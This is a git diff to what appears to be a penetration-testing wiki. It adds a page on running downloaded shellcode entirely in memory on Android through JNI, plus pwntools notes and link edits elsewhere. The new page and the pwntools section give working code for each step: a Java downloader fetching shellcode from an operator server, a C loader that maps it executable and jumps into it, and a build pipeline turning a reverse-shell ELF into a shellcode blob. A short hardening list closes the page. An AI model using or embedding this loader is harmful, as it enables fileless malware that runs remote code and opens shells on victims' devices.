diff --git a/src/SUMMARY.md b/src/SUMMARY.md index 3e41d9a7b..edddf45ba 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -353,6 +353,7 @@ - [Frida Tutorial 3](mobile-pentesting/android-app-pentesting/frida-tutorial/owaspuncrackable-1.md) - [Objection Tutorial](mobile-pentesting/android-app-pentesting/frida-tutorial/objection-tutorial.md) - [Google CTF 2018 - Shall We Play a Game?](mobile-pentesting/android-app-pentesting/google-ctf-2018-shall-we-play-a-game.md) + - [In Memory Jni Shellcode Execution](mobile-pentesting/android-app-pentesting/in-memory-jni-shellcode-execution.md) - [Insecure In App Update Rce](mobile-pentesting/android-app-pentesting/insecure-in-app-update-rce.md) - [Install Burp Certificate](mobile-pentesting/android-app-pentesting/install-burp-certificate.md) - [Intent Injection](mobile-pentesting/android-app-pentesting/intent-injection.md) diff --git a/src/binary-exploitation/basic-stack-binary-exploitation-methodology/tools/pwntools.md b/src/binary-exploitation/basic-stack-binary-exploitation-methodology/tools/pwntools.md index 33a596405..77f5b140a 100644 --- a/src/binary-exploitation/basic-stack-binary-exploitation-methodology/tools/pwntools.md +++ b/src/binary-exploitation/basic-stack-binary-exploitation-methodology/tools/pwntools.md @@ -173,7 +173,41 @@ To update pwntools pwn update ``` +## ELF → raw shellcode packaging (loader_append) + +Pwntools can turn a standalone ELF into a single raw shellcode blob that self‑maps its segments and transfers execution to the original entrypoint. This is ideal for memory‑only loaders (e.g., Android apps invoking JNI to execute downloaded bytes). + +Typical pipeline (amd64 example) + +1) Build a static, position‑independent payload ELF (musl recommended for portability): + +```bash +musl-gcc -O3 -s -static -o exploit exploit.c \ + -DREV_SHELL_IP="\"10.10.14.2\"" -DREV_SHELL_PORT="\"4444\"" +``` + +2) Convert ELF → shellcode with pwntools: + +```python +# exp2sc.py +from pwn import * +context.clear(arch='amd64') +elf = ELF('./exploit') +sc = asm(shellcraft.loader_append(elf.data, arch='amd64')) +open('sc','wb').write(sc) +print(f"ELF size={len(elf.data)} bytes, shellcode size={len(sc)} bytes") +``` + +3) Deliver sc to a memory loader (e.g., via HTTP[S]) and execute in‑process. + +Notes +- loader_append embeds the original ELF program into the shellcode and emits a tiny loader that mmaps the segments and jumps to the entry. +- Be explicit about the architecture via context.clear(arch=...). arm64 is common on Android. +- Keep your payload’s code position‑independent and avoid assumptions about process ASLR/NX. + +## References + +- [Pwntools](https://docs.pwntools.com/en/stable/) +- [CoRPhone – ELF→shellcode pipeline used for Android in-memory execution](https://github.com/0xdevil/corphone) + {{#include ../../../banners/hacktricks-training.md}} - - - diff --git a/src/mobile-pentesting/android-app-pentesting/README.md b/src/mobile-pentesting/android-app-pentesting/README.md index 70e4a75ef..01ed3a949 100644 --- a/src/mobile-pentesting/android-app-pentesting/README.md +++ b/src/mobile-pentesting/android-app-pentesting/README.md @@ -228,6 +228,11 @@ bypass-biometric-authentication-android.md - **Send SMSs**: `sendTextMessage, sendMultipartTestMessage` - **Native functions** declared as `native`: `public native, System.loadLibrary, System.load` - [Read this to learn **how to reverse native functions**](reversing-native-libraries.md) +- In-memory native code execution via JNI (downloaded shellcode → mmap/mprotect → call): + +{{#ref}} +in-memory-jni-shellcode-execution.md +{{#endref}} ### **Other tricks** @@ -862,17 +867,11 @@ AndroL4b is an Android security virtual machine based on ubuntu-mate includes th - [https://maddiestone.github.io/AndroidAppRE/](https://maddiestone.github.io/AndroidAppRE/) Android quick course - [https://manifestsecurity.com/android-application-security/](https://manifestsecurity.com/android-application-security/) - [https://github.com/Ralireza/Android-Security-Teryaagh](https://github.com/Ralireza/Android-Security-Teryaagh) -- [https://www.youtube.com/watch?v=PMKnPaGWxtg\&feature=youtu.be\&ab_channel=B3nacSec](https://www.youtube.com/watch?v=PMKnPaGWxtg&feature=youtu.be&ab_channel=B3nacSec) +- [https://www.youtube.com/watch?v=PMKnPaGWxtg&feature=youtu.be&ab_channel=B3nacSec](https://www.youtube.com/watch?v=PMKnPaGWxtg&feature=youtu.be&ab_channel=B3nacSec) - [SSLPinDetect: Advanced SSL Pinning Detection for Android Security Analysis](https://petruknisme.medium.com/sslpindetect-advanced-ssl-pinning-detection-for-android-security-analysis-1390e9eca097) - [SSLPinDetect GitHub](https://github.com/aancw/SSLPinDetect) - [smali-sslpin-patterns](https://github.com/aancw/smali-sslpin-patterns) - [Build a Repeatable Android Bug Bounty Lab: Emulator vs Magisk, Burp, Frida, and Medusa](https://www.yeswehack.com/learn-bug-bounty/android-lab-mobile-hacking-tools) - -## Yet to try - -- [https://www.vegabird.com/yaazhini/](https://www.vegabird.com/yaazhini/) -- [https://github.com/abhi-r3v0/Adhrit](https://github.com/abhi-r3v0/Adhrit) +- [CoRPhone — Android in-memory JNI execution and packaging pipeline](https://github.com/0xdevil/corphone) {{#include ../../banners/hacktricks-training.md}} - - diff --git a/src/mobile-pentesting/android-app-pentesting/in-memory-jni-shellcode-execution.md b/src/mobile-pentesting/android-app-pentesting/in-memory-jni-shellcode-execution.md new file mode 100644 index 000000000..f66259552 --- /dev/null +++ b/src/mobile-pentesting/android-app-pentesting/in-memory-jni-shellcode-execution.md @@ -0,0 +1,125 @@ +# Android In-Memory Native Code Execution via JNI (shellcode) + +{{#include ../../banners/hacktricks-training.md}} + +This page documents a practical pattern to execute native payloads fully in memory from an untrusted Android app process using JNI. The flow avoids creating any on-disk native binary: download raw shellcode bytes over HTTP(S), pass them to a JNI bridge, allocate RX memory, and jump into it. + +Why it matters +- Reduces forensic artifacts (no ELF on disk) +- Compatible with “stage-2” native payloads generated from an ELF exploit binary +- Matches tradecraft used by modern malware and red teams + +High-level pattern +1) Fetch shellcode bytes in Java/Kotlin +2) Call a native method (JNI) with the byte array +3) In JNI: allocate RW memory → copy bytes → mprotect to RX → call entrypoint + +Minimal example + +Java/Kotlin side +```java +public final class NativeExec { + static { System.loadLibrary("nativeexec"); } + public static native int run(byte[] sc); +} + +// Download and execute (simplified) +byte[] sc = new java.net.URL("https://your-server/sc").openStream().readAllBytes(); +int rc = NativeExec.run(sc); +``` + +C JNI side (arm64/amd64) +```c +#include +#include +#include +#include + +static inline void flush_icache(void *p, size_t len) { + __builtin___clear_cache((char*)p, (char*)p + len); +} + +JNIEXPORT jint JNICALL +Java_com_example_NativeExec_run(JNIEnv *env, jclass cls, jbyteArray sc) { + jsize len = (*env)->GetArrayLength(env, sc); + if (len <= 0) return -1; + + // RW anonymous buffer + void *buf = mmap(NULL, len, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); + if (buf == MAP_FAILED) return -2; + + jboolean isCopy = 0; + jbyte *bytes = (*env)->GetByteArrayElements(env, sc, &isCopy); + if (!bytes) { munmap(buf, len); return -3; } + + memcpy(buf, bytes, len); + (*env)->ReleaseByteArrayElements(env, sc, bytes, JNI_ABORT); + + // Make RX and execute + if (mprotect(buf, len, PROT_READ | PROT_EXEC) != 0) { munmap(buf, len); return -4; } + flush_icache(buf, len); + + int (*entry)(void) = (int (*)(void))buf; + int ret = entry(); + + // Optional: restore RW and wipe + mprotect(buf, len, PROT_READ | PROT_WRITE); + memset(buf, 0, len); + munmap(buf, len); + return ret; +} +``` + +Notes and caveats +- W^X/execmem: Modern Android enforces W^X; anonymous PROT_EXEC mappings are still generally allowed for app processes with JIT (subject to SELinux policy). Some devices/ROMs restrict this; fall back to JIT-allocated exec pools or native bridges when needed. +- Architectures: Ensure the shellcode architecture matches the device (arm64-v8a commonly; x86 only on emulators). +- Entrypoint contract: Decide a convention for your shellcode entry (no args vs structure pointer). Keep it position-independent (PIC). +- Stability: Clear instruction cache before jumping; mismatched cache can crash on ARM. + +Packaging ELF → position‑independent shellcode +A robust operator pipeline is to: +- Build your exploit as a static ELF with musl-gcc +- Convert the ELF into a self‑loading shellcode blob using pwntools’ shellcraft.loader_append + +Build +```bash +musl-gcc -O3 -s -static -fno-pic -o exploit exploit.c \ + -DREV_SHELL_IP="\"10.10.14.2\"" -DREV_SHELL_PORT="\"4444\"" +``` + +Transform ELF to raw shellcode (amd64 example) +```python +# exp2sc.py +from pwn import * +context.clear(arch='amd64') +elf = ELF('./exploit') +loader = shellcraft.loader_append(elf.data, arch='amd64') +sc = asm(loader) +open('sc','wb').write(sc) +print(f"ELF size={len(elf.data)}, shellcode size={len(sc)}") +``` + +Why loader_append works: it emits a tiny loader that maps the embedded ELF program segments in memory and transfers control to its entrypoint, giving you a single raw blob that can be memcpy’ed and executed by the app. + +Delivery +- Host sc on an HTTP(S) server you control +- The backdoored/test app downloads sc and invokes the JNI bridge shown above +- Listen on your operator box for any reverse connection the kernel/user-mode payload establishes + +Validation workflow for kernel payloads +- Use a symbolized vmlinux for fast reversing/offset recovery +- Prototype primitives on a convenient debug image if available, but always re‑validate on the actual Android target (kallsyms, KASLR slide, page-table layout, and mitigations differ) + +Hardening/Detection (blue team) +- Disallow anonymous PROT_EXEC in app domains where possible (SELinux policy) +- Enforce strict code integrity (no dynamic native loading from network) and validate update channels +- Monitor suspicious mmap/mprotect transitions to RX and large byte-array copies preceding jumps + +References +- [CoRPhone challenge repo (Android kernel pwn; JNI memory-only loader pattern)](https://github.com/0xdevil/corphone) +- [build.sh (musl-gcc + pwntools pipeline)](https://raw.githubusercontent.com/0xdevil/corphone/main/exploit/build.sh) +- [exp2sc.py (pwntools shellcraft.loader_append)](https://raw.githubusercontent.com/0xdevil/corphone/main/exploit/exp2sc.py) +- [exploit.c TL;DR (operator/kernel flow, offsets, reverse shell)](https://raw.githubusercontent.com/0xdevil/corphone/main/exploit/exploit.c) +- [INSTRUCTIONS.md (setup notes)](https://github.com/0xdevil/corphone/blob/main/INSTRUCTIONS.md) + +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/mobile-pentesting/android-app-pentesting/reversing-native-libraries.md b/src/mobile-pentesting/android-app-pentesting/reversing-native-libraries.md index 12fc201f5..1040e0416 100644 --- a/src/mobile-pentesting/android-app-pentesting/reversing-native-libraries.md +++ b/src/mobile-pentesting/android-app-pentesting/reversing-native-libraries.md @@ -101,6 +101,16 @@ This approach is useful for malware triage and JNI debugging where observing nat --- +### See also: in‑memory native code execution via JNI + +A common attack pattern is to download a raw shellcode blob at runtime and execute it directly from memory through a JNI bridge (no on‑disk ELF). Details and ready‑to‑use JNI snippet here: + +{{#ref}} +in-memory-jni-shellcode-execution.md +{{#endref}} + +--- + ### Recent vulnerabilities worth hunting for in APKs | Year | CVE | Affected library | Notes | @@ -133,5 +143,6 @@ When you spot *third-party* `.so` files inside an APK, always cross-check their - SoTap: Lightweight in-app JNI (.so) behavior logger – [github.com/RezaArbabBot/SoTap](https://github.com/RezaArbabBot/SoTap) - SoTap Releases – [github.com/RezaArbabBot/SoTap/releases](https://github.com/RezaArbabBot/SoTap/releases) - How to work with SoTap? – [t.me/ForYouTillEnd/13](https://t.me/ForYouTillEnd/13) +- [CoRPhone — JNI memory-only execution pattern and packaging](https://github.com/0xdevil/corphone) -{{#include ../../banners/hacktricks-training.md}} \ No newline at end of file +{{#include ../../banners/hacktricks-training.md}}